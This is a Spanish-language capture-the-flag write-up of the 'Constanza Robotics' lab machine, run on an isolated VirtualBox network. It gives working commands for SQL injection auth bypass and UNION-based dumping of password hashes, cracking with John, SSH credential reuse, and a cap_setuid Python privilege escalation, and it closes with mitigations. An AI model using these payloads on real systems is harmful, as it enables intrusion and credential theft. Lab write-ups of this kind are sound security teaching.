‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/constanza-robotics.md

Constanza Robotics

iotlateral

Constanza Robotics

Máquina: The Hackers Labs — Constanza Robotics Sistema operativo objetivo: Debian 12 “Bookworm” Vector de entrada: Inyección SQL en portal interno → dump de credenciales → reutilización en SSH Escalada de privilegios: Linux Capabilities (cap_setuid) sobre un intérprete de Python — no es el clásico SUID


Resumen de flags

Flag Valor Obtenida en
Usuario (user.txt) ████████████ Fase 6
Root (root.txt) ████████████ Fase 9

Nota sobre las IPs: aquí la máquina objetivo es 192.168.56.102 y el atacante (Kali) 192.168.56.1, asignadas por el DHCP de VirtualBox. Confírmalas tú con un escaneo de red (paso 1.1) porque pueden variar.


Herramientas necesarias

Todas de serie en Kali:

sudo apt-get install -y sshpass    # el resto (nmap, gobuster, john, curl) ya viene instalado

Fase 0 — Montar la máquina virtual

Exactamente el mismo procedimiento que con la máquina anterior (El Baifo). Resumen rápido:

# 1. Descomprimir el .zip descargado de The Hacker Labs
unzip "The Hackers Labs - Constanza Robotics.zip"

# 2. Importar el .ova a VirtualBox con un nombre limpio
VBoxManage import "The Hackers Labs - Constanza Robotics.ova" \
  --vsys 0 --vmname "TheHackersLabs-ConstanzaRobotics"

# 3. Conectarla a la red host-only aislada (la misma vboxnet0 de siempre)
VBoxManage modifyvm "TheHackersLabs-ConstanzaRobotics" \
  --nic1 hostonly --hostonlyadapter1 vboxnet0

# 4. Arrancarla sin interfaz gráfica
VBoxManage startvm "TheHackersLabs-ConstanzaRobotics" --type headless

Si es tu primera máquina en esta sesión de VirtualBox, primero necesitas crear la red con VBoxManage hostonlyif create — con eso se genera automáticamente vboxnet0 (192.168.56.1/24) con DHCP.


Fase 1 — Reconocimiento de red

1.1 ¿Qué IP tiene la VM?

Al arrancar, la VM pide una IP por DHCP dentro del rango 192.168.56.100–254. La localizamos con un ping-scan:

nmap -sn 192.168.56.100-200

Ojo: la .100 normalmente es el propio servidor DHCP virtual de VirtualBox, no la VM. Descarta esa y quédate con la otra.

1.2 ¿Qué puertos tiene abiertos?

Por qué escaneo los 65535 puertos y no solo el top-1000: muchos servicios de estos retos se esconden en puertos poco comunes (o simplemente Nmap no los prioriza por defecto). Un escaneo rápido pero completo:

nmap -p- --min-rate 3000 -Pn 192.168.56.102

Resultado:

22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

1.3 ¿Qué versión corre cada servicio?

nmap -sV -sC -Pn -p 22,80,3306 192.168.56.102

Resultado relevante:

22/tcp   OpenSSH 9.2p1 Debian 2+deb12u10
80/tcp   Apache httpd 2.4.68 — "Constanza Robotics — Robótica industrial de precisión"
3306/tcp MariaDB 10.3.23 or earlier (unauthorized)

Un servidor web (Apache) con base de datos MariaDB detrás, y SSH como puerta de acceso final. El puerto 3306 está expuesto pero pide autenticación — no es explotable directamente desde fuera; el camino pasa por la web.


Fase 2 — Encontrar la superficie oculta (reconocimiento web)

Qué significa “superficie oculta”: la web pública (index.html, nosotros.html, contacto.html…) no tiene ningún enlace visible a un panel de administración. Pero eso no significa que no exista — solo que no está enlazado. Hay que forzar la búsqueda de rutas.

2.1 Mirar el código fuente por pistas

curl -s http://192.168.56.102/ | less

Reviso comentarios HTML, rutas a assets/, nombres de archivos JS/CSS — nada obvio esta vez, pero es un paso que nunca hay que saltarse.

2.2 Comprobar rutas “de cortesía”

curl -s http://192.168.56.102/robots.txt
curl -s http://192.168.56.102/sitemap.xml

En este caso ambas devuelven 404 — no hay pistas ahí.

2.3 Fuzzing de directorios y archivos

Qué es esto: gobuster prueba miles de nombres de archivo/carpeta comunes (de una wordlist) contra el servidor y anota cuáles existen según el código de respuesta HTTP.

gobuster dir -u http://192.168.56.102/ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -t 50 -x php,html -q

Resultado clave:

login.php            (Status: 200) [Size: 1091]

Ahí está el portal oculto: login.php.


Fase 3 — Analizar el portal encontrado

curl -s http://192.168.56.102/login.php

Es un formulario POST sencillo con dos campos: username y password, que apunta a sí mismo (action="login.php"). El pie dice “Intranet · acceso restringido” — confirmado, es el panel de empleados.


Fase 4 — Inyección SQL (SQLi)

4.1 ¿Qué es una inyección SQL?

Cuando una web mete directamente lo que escribes en un formulario dentro de una consulta SQL sin “limpiarla” (sin sanitizar ni usar consultas parametrizadas), puedes escribir código SQL propio dentro del campo de texto y alterar la consulta que se ejecuta en la base de datos.

Ejemplo de consulta vulnerable típica:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

Si $username es literalmente lo que yo escribo sin filtrar, puedo romper las comillas y añadir mi propia lógica SQL.

4.2 Confirmar que existe la inyección

El primer test siempre es mandar una comilla simple (') sola — si la consulta se rompe, el servidor suele devolver un error:

curl -s -o /dev/null -w "HTTP %{http_code}\n" -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=admin'" --data-urlencode "password=x"

Resultado: HTTP 500 (Internal Server Error) — comparado con un login normal con credenciales incorrectas, que da HTTP 200 con el mensaje “Usuario o contraseña incorrectos”. La diferencia de comportamiento confirma la inyección.

4.3 Bypass de autenticación (opcional, para confirmar impacto)

El truco clásico ' OR '1'='1'-- - convierte la condición WHERE username='...' AND password='...' en algo que siempre es verdadero, así que la consulta devuelve la primera fila de la tabla sin necesitar la contraseña real:

curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' OR '1'='1'-- -" --data-urlencode "password=x"

-- - comenta el resto de la consulta original (el AND password='...' que venía después), para que no interfiera.

Resultado: inicia sesión como el primer usuario de la tabla (pperez), aunque el panel en sí está “en mantenimiento” — así que este camino no da más, pero confirma que controlamos la consulta.

4.4 UNION-based SQLi: extraer datos arbitrarios

Qué es esto: si la consulta original hace un SELECT con varias columnas y el resultado se refleja en la página (aquí: “Sesión iniciada como <username>”), puedo usar UNION SELECT para inyectar una segunda consulta cuyos resultados yo elijo, y que aparezcan en ese mismo hueco del HTML. Es como pedirle a la base de datos que me “imprima” cualquier dato que yo quiera en el sitio donde normalmente iría el nombre de usuario.

Paso 1 — averiguar cuántas columnas tiene la consulta original. UNION SELECT exige que ambas consultas tengan el mismo número de columnas, así que hay que probar hasta que no dé error:

for n in 1 2 3 4 5 6; do
  cols=$(seq -s, 1 $n)
  curl -s -o /dev/null -w "columnas=$n -> HTTP %{http_code}\n" -X POST http://192.168.56.102/login.php \
    --data-urlencode "username=' UNION SELECT ${cols}-- -" --data-urlencode "password=x"
done

Con 3 columnas deja de dar error 500 → la consulta tiene 3 columnas.

Paso 2 — ver qué columna se refleja en el HTML:

curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' UNION SELECT 1,2,3-- -" --data-urlencode "password=x" | grep -A2 alert

Aparece “Sesión iniciada como 2” → la columna 2 es la que se imprime en pantalla. Esa es nuestra “ventana” para sacar cualquier dato.

Paso 3 — enumerar la base de datos. information_schema es una base de datos especial que toda instalación de MySQL/MariaDB trae por defecto, con metadatos de todas las bases, tablas y columnas que existen en el servidor. Es el mapa que usamos para saber dónde mirar:

# Versión del motor
curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' UNION SELECT 1,version(),3-- -" --data-urlencode "password=x"

# Base de datos activa
curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' UNION SELECT 1,database(),3-- -" --data-urlencode "password=x"

# Tablas de esa base de datos
curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x2c),3 FROM information_schema.tables WHERE table_schema=database()-- -" \
  --data-urlencode "password=x"

GROUP_CONCAT(... SEPARATOR 0x2c) junta todos los resultados de varias filas en una sola línea separada por comas (0x2c es el código hexadecimal de la coma — se usa en hex para no tener que escapar comillas dentro de la propia inyección).

Resultado: base de datos corp, con una sola tabla: users.

Paso 4 — columnas de la tabla users:

curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x2c),3 FROM information_schema.columns WHERE table_name=0x7573657273-- -" \
  --data-urlencode "password=x"

0x7573657273 es la palabra users codificada en hexadecimal — se usa así en vez de 'users' para evitar comillas simples dentro de un valor que ya está dentro de comillas (evita romper la sintaxis de nuestra propia inyección).

Resultado: id, username, password, role

Paso 5 — volcar toda la tabla de un tirón:

curl -s -X POST http://192.168.56.102/login.php \
  --data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(id,0x7c,username,0x7c,password,0x7c,role SEPARATOR 0x0a),3 FROM users-- -" \
  --data-urlencode "password=x"

0x7c es | (separador entre campos) y 0x0a es un salto de línea (separador entre filas) — así el resultado sale legible, una fila por línea.

Resultado — la tabla completa de empleados:

1|pperez|████████████|user
2|agomez|████████████|user
3|jruiz|████████████|user
4|csalas|████████████|admin
5|mtorres|████████████|user
6|dnavarro|████████████|user

Los hashes tienen 32 caracteres hexadecimales → formato típico de MD5.


Fase 5 — Crackear los hashes

5.1 ¿Qué significa “crackear” un hash?

Un hash es una función de un solo sentido: no se puede “desencriptar” para recuperar la contraseña original. Lo que se hace es probar millones de contraseñas candidatas (de un diccionario), calcular el hash de cada una, y comparar contra el hash objetivo. Si coinciden, esa era la contraseña. Por eso funciona mejor cuanto más débil/común es la contraseña real.

5.2 Preparar el archivo de hashes

cat > hashes_constanza.txt << 'EOF'
████████████
████████████
████████████
████████████
████████████
████████████
EOF

5.3 Crackear con John the Ripper

hashcat normalmente es más rápido (usa la GPU), pero si la máquina atacante no tiene un driver OpenCL/CUDA disponible (nuestro caso), john funciona igual por CPU:

gzip -dk /usr/share/wordlists/rockyou.txt.gz    # descomprimir el diccionario si hace falta
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes_constanza.txt
john --format=raw-md5 --show hashes_constanza.txt

Resultado: 3 de 6 hashes caen con el diccionario rockyou.txt puro:

barcelona
princess
iloveyou

Los otros 3 (incluido csalas, el único admin) no cayeron ni siquiera aplicando reglas de mutación (--rules=best64, que prueba variantes con mayúsculas, números al final, etc.) — probablemente tienen contraseñas más robustas o simplemente no están en ningún diccionario común. No hace falta crackearlos todos: nos basta con una credencial válida.

5.4 ¿Qué hash es de quién?

john --show no te dice a qué usuario pertenece cada contraseña si el archivo solo tiene los hashes sueltos. Para mapearlo, se recalcula el MD5 de cada contraseña encontrada y se compara con la lista original:

for pw in iloveyou princess barcelona; do
  echo -n "$pw" | md5sum
done

Comparando contra la tabla de la Fase 4:

Usuario Contraseña Rol
pperez barcelona user
agomez princess user
jruiz iloveyou user

Fase 6 — Reutilización de credenciales → acceso SSH

La idea: en el mundo real (y en este reto) es muy común que la gente reutilice la misma contraseña del portal web para su cuenta del sistema operativo. Probamos cada par usuario:contraseña contra SSH:

sshpass -p 'barcelona' ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'id'

Resultado: pperez:barcelona funciona. Las otras dos combinaciones (agomez:princess, jruiz:iloveyou) dan “Permission denied” — esos usuarios no tienen SSH habilitado o usan otra contraseña ahí.

Capturar la flag de usuario

sshpass -p 'barcelona' ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'cat ~/user.txt'
████████████

Fase 7 — Enumeración para escalada de privilegios

Antes de buscar un fallo concreto, se revisan sistemáticamente los vectores más comunes:

# ¿Puedo ejecutar algo como root vía sudo?
sudo -l
# → "Sorry, user pperez may not run sudo" — descartado

# ¿Pertenezco a algún grupo con privilegios especiales (docker, disk, lxd...)?
id
# → solo mi propio grupo — descartado

# ¿Hay binarios con el bit SUID? (el mecanismo "clásico")
find / -perm -4000 -type f 2>/dev/null
# → solo los binarios estándar del sistema (sudo, passwd, su...) — nada nuevo

7.1 El mecanismo alternativo: Linux Capabilities

Qué son las Linux Capabilities: tradicionalmente, un programa o es “todo-poderoso” (corre como root, vía SUID) o no tiene ningún privilegio especial. Las capabilities dividen los superpoderes de root en piezas pequeñas e independientes: CAP_NET_RAW (crear sockets raw, para ping), CAP_SYS_TIME (cambiar la hora del sistema), CAP_SETUID (cambiar el UID de un proceso), etc. Se pueden asignar a un binario sin darle el bit SUID completo, con setcap. La idea es “principio de mínimo privilegio” — pero si el privilegio otorgado es lo bastante potente (como CAP_SETUID), sigue siendo una vía directa a root.

Se buscan con:

getcap -r / 2>/dev/null

Resultado:

/usr/bin/ping cap_net_raw=ep          # normal, así funciona ping sin ser root
/opt/maint/pybackup cap_setuid=ep     # esto NO es normal — un intérprete con permiso de cambiar de UID

cap_setuid=ep significa que ese binario, al ejecutarse, tiene la capability CAP_SETUID en su conjunto efectivo y permitido — es decir, el propio proceso puede llamar a setuid() para convertirse en cualquier usuario, incluido root, sin que el sistema se lo impida.


Fase 8 — Explotar la capability cap_setuid

8.1 ¿Qué es exactamente /opt/maint/pybackup?

ls -la /opt/maint/
/opt/maint/pybackup --help

No es un script sencillo de backup como sugiere el nombre: es un intérprete de Python autocontenido (un ejecutable ELF de ~6.8MB, tipo PyInstaller) — o sea, admite -c "código python" igual que el python3 normal del sistema. Root probablemente lo dejó ahí con esta capability para que algún script de mantenimiento pudiera hacer algo puntual sin ser root completo — pero al ser un intérprete genérico, nos deja ejecutar cualquier código Python con esa capability activa.

8.2 El primer intento (y por qué falló)

/opt/maint/pybackup -c "import os; os.setuid(0); os.setgid(0); os.system('id')"

Resultado: PermissionError: [Errno 1] Operation not permitted.

Por qué falla: cap_setuid=ep solo otorga CAP_SETUID, no CAP_SETGID. Al intentar os.setgid(0) sin esa capability (y sin ser ya root), el sistema deniega la llamada. Hay que aislar qué línea falla.

8.3 El intento correcto

Solo con setuid(0), sin tocar el grupo:

/opt/maint/pybackup -c "import os; os.setuid(0); print(os.getuid(), os.geteuid())"

Resultado: 0 0 — el proceso ahora es root (UID real y efectivo).

Por qué funciona ahora: cuando un proceso con CAP_SETUID llama a setuid(0), POSIX dice que si el proceso tiene privilegio suficiente, la llamada actualiza a la vez el UID real, efectivo y guardado a 0 — deja de ser “solo efectivamente root” y pasa a ser root por completo desde ese momento, para todo lo que haga a partir de ahí (incluido lanzar nuevos procesos, que sí heredan el UID real 0 sin necesitar ninguna capability adicional).

8.4 Capturar la flag de root

/opt/maint/pybackup -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"

Resultado:

uid=0(root) gid=1001(pperez) grupos=1001(pperez)
████████████

🚩 Root conseguido (nótese que el gid se queda en pperez — no hace falta más, ya podemos leer y escribir cualquier archivo del sistema como root).


Fase 9 — Limpieza

A diferencia de la máquina anterior, aquí no modificamos ningún archivo en el sistema objetivo — todo el ataque fue lectura (dump de la BD, lectura de flags) y la elevación de privilegios se logró en memoria dentro del propio proceso Python, sin dejar binarios ni cambios persistentes. No hace falta restaurar nada.


Resumen de la cadena de ataque

nmap -p- (65535 puertos)
        │
        ▼
gobuster → descubre login.php (portal no enlazado)
        │
        ▼
SQLi confirmada (comilla simple → HTTP 500)
   → UNION SELECT (3 columnas) + information_schema
   → dump completo de la tabla "users" (hashes MD5)
        │
        ▼
Crackeo con John + rockyou.txt
   → pperez:barcelona, agomez:princess, jruiz:iloveyou
        │
        ▼
Reutilización de credenciales contra SSH
   → pperez:barcelona funciona
   → flag de usuario
        │
        ▼
Enumeración: sudo -l (no), grupos (no), SUID (no)
   → getcap -r / revela /opt/maint/pybackup con cap_setuid=ep
        │
        ▼
/opt/maint/pybackup -c "os.setuid(0); os.system(...)"
   → proceso se convierte en root
   → flag de root

Causas raíz y mitigación

Debilidad Mitigación recomendada
Portal de administración accesible sin estar enlazado (“seguridad por oscuridad”) El control de acceso no puede depender de que la URL sea “secreta”; requiere autenticación robusta y, si aplica, restricción por IP/VPN
Consulta SQL construida por concatenación de strings, sin sanitizar Usar siempre prepared statements / consultas parametrizadas (ej. PDO con ? en PHP), nunca interpolar variables directamente en el SQL
Contraseñas almacenadas con MD5 sin sal Usar bcrypt, argon2 o scrypt — funciones de hash diseñadas para contraseñas, lentas a propósito y con sal automática
Reutilización de la misma contraseña entre el portal web y el sistema operativo Políticas de contraseñas distintas por sistema; gestor de contraseñas; autenticación por clave SSH en vez de contraseña
Binario con CAP_SETUID accesible a un usuario sin privilegios Nunca otorgar cap_setuid (ni SUID) a un intérprete genérico (Python, Perl, etc.) — si se necesita un privilegio puntual, debe ir en un binario compilado, de propósito único, que no permita ejecutar código arbitrario

«El saber se puede comunicar, pero no la sabiduría.»
— Hermann Hesse, Siddhartha